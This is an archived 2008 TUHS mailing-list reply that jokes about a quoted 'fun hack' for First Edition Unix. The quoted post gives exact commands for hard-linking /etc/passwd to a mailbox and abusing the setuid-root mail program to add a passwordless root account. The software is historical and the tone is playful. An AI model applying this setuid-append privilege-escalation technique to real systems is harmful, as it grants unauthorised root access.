From: wb@freebie.xs4all.nl (Wilko Bulte)
Subject: [TUHS] Some fun with 1st ed
Date: Sat, 3 May 2008 21:29:43 +0200 [thread overview]
Message-ID: <20080503192943.GC69106@freebie.xs4all.nl> (raw)
In-Reply-To: <20080503192359.GA11882@bitmover.com>
Quoting Larry McVoy, who wrote on Sat, May 03, 2008 at 12:24:00PM -0700 ..
> We need to send out a security alert immediately. This is serious.
CERT to the rescue! Man the barricades !
;-)
> On Sat, May 03, 2008 at 09:20:13AM -1000, Tim Newsham wrote:
> > All work and no play...
> >
> > Here's a fun hack for first edition unix. From MAIL (I) :
> >
> > When followed by the names of a letter and one or more people, the
> > letter is appended to each person's mailbox. Each letter is
> > preceded by the sender's name and a postmark.
> >
> > A person is either the nameof an entry in the directory /usr, in
> > which case the mail is sent to /usr/person/mailbox, or the path
> > of a directory, in which case mailbox in that directory is used.
> >
> > Mail is setuid root:
> >
> > # ls -l /bin/mail
> > 80 surwr- 1 root 3940 Jan 1 00:00:00 mail
> >
> > login as a non-root user (ie "bin"), create a file "letter" with the
> > contents "hack::0:/:". Run:
> >
> > @ ln /etc/passwd /tmp/mailbox
> > @ mail letter /tmp
> >
> > log out and log back in as "hack". You are now root. Cat /etc/passwd
> > and notice:
> >
> > From bin Jan 1 00:49:22
> > hack::0:/:
> >
> > clean up the file a little and enjoy your new elevated status.
> >
> > Tim Newsham
> > http://www.thenewsh.com/~newsham/
> > _______________________________________________
> > TUHS mailing list
> > TUHS at minnie.tuhs.org
> > https://minnie.tuhs.org/mailman/listinfo/tuhs
>
> --
> ---
> Larry McVoy lm at bitmover.com http://www.bitkeeper.com
> _______________________________________________
> TUHS mailing list
> TUHS at minnie.tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/tuhs
--- end of quoted text ---
--
Wilko
next prev parent reply other threads:[~2008-05-03 19:29 UTC|newest]
Thread overview: 5+ messages / expand[flat|nested] mbox.gz Atom feed top
2008-05-03 19:20 Tim Newsham
2008-05-03 19:24 ` Larry McVoy
2008-05-03 19:29 ` Wilko Bulte [this message]
2008-05-03 19:34 ` Tim Newsham
2008-05-19 17:35 ` [Unix-jun72] " Angus Robinson
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20080503192943.GC69106@freebie.xs4all.nl \
--to=wb@freebie.xs4all.nl \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).